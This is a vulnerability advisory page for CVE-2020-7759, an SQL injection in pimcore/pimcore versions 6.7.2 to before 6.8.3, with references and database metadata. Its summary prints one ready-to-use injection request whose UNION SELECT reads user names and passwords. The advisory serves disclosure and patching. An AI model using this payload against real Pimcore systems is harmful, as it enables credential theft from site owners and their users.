CVE-2020-7759 (GCVE-0-2020-7759)
Vulnerability from cvelistv5 – Published: 2020-10-30 10:55 – Updated: 2024-09-16 18:33
VLAI
EPSS
VEX
Title
SQL Injection
Summary
The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{"keyId"%3a"''","groupId"%3a"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+"}]
Severity
CWE
- SQL Injection
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-1017405 | x_refsource_MISC |
| https://github.com/pimcore/pimcore/pull/7315 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| n/a | pimcore/pimcore |
Affected:
6.7.2 , < unspecified
(custom)
Affected: unspecified , < 6.8.3 (custom) |
Date Public
2020-10-30 00:00
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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